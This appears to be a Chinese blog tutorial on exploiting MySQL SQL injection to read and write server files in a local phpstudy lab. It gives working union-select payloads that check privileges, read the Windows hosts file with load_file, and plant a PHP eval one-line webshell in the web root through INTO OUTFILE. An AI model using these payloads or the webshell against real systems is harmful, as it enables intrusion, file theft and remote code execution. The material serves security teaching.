SQL注入读写文件

文章目录

条件

SQL注入有直接SQL注入,也有文件读写时的注入,后者的主要

目的在于获取webshell或盗取重要文件。

  1. 当前(连接)数据库的用户具有文件读写权限。
  2. 已知读写目标文件的绝对路径。

web 应用在服务器上的绝对路径,一般情况下是不知道的。

但是系统敏感文件的路径是固定的。

  1. 安全选项secure_file_priv允许导入导出操作。

secure_file_priv=null,不允许导入导出操作。

secure_file_priv=目录名,只允许此目录及子目录下导入导出操作。

secure_file_priv= ,不对导入导出操作做限制。

利用SQL注入漏洞读取hosts文件

查看文件读写权限

输入语句逐个查看当前用户,查看到第三个用户发现他是root权限:

复制代码
?id=1' and 1=2 union select 1,user(),3 --+

输入语句查看用户的权限

复制代码
?id=1' and 1=2 union select 1,file_priv,3 from mysql.user where user='root' and host='localhost' --+

查看后用户具有文件读写权限:

安全选项允许导入导出

登录phpMyAdmin,点击变量,在搜索框中搜索priv,可以看到下面的变量,secure file priv的值为null:

然后在phpstudy中打开配置文件:

在mysqld中加入secure_file_priv=,保存

重启phpstudy,并刷新phpMyAdmin页面,搜索后发现发现变量secure file priv的值已经为空,此时已修改成功:

读取hosts文件

已知hosts文件的绝对路径是c:\windows\system32\drivers\etc\hosts,输入下面的联合查询语句,对hosts文件进行读取(注意需要对路径中的\进行转义):

复制代码
?id=1' and 1=2 union select 1,2,load_file("c:\\windows\\system32\\drivers\\etc\\hosts") --+

读取成功:

利用SQL注入漏洞写入一句话木马,并用蚁剑连接webshell

写入文件

输入下面SQL语句,在www目录下写入一个muma.php文件

复制代码
?id=1' and 1=2 union select 1,"<?php @eval($_REQUEST[777])?>",3 into outfile
"c:\\phpstudy\\WWW\\muma.php" --+

执行成功:

写入的文件:

相关推荐
·云扬·8 分钟前
MySQL Redo Log落盘机制深度解析
数据库·mysql
用户9828630256821 分钟前
pg内核实现细节
数据库
飞升不如收破烂~28 分钟前
Redis 分布式锁+接口幂等性使用+当下流行的限流方案「落地实操」+用户连续点击两下按钮的解决方案自用总结
数据库·redis·分布式
workflower30 分钟前
业务需求-假设场景
java·数据库·测试用例·集成测试·需求分析·模块测试·软件需求
亓才孓44 分钟前
[JDBC]基于三层架构和MVC架构的JDBCTools
数据库
不剪发的Tony老师1 小时前
Shaper:一款免费开源的数据可视化工具
sql·数据可视化
IT邦德1 小时前
RPM包快速安装Oracle26ai
数据库·oracle
Dovis(誓平步青云)1 小时前
《滑动窗口算法:从 “暴力遍历” 到 “线性高效” 的思维跃迁》
运维·服务器·数据库·算法
mr_LuoWei20091 小时前
python工具:python代码知识库笔记
数据库·python
这周也會开心1 小时前
Redis数据类型的底层实现和数据持久化
数据库·redis·缓存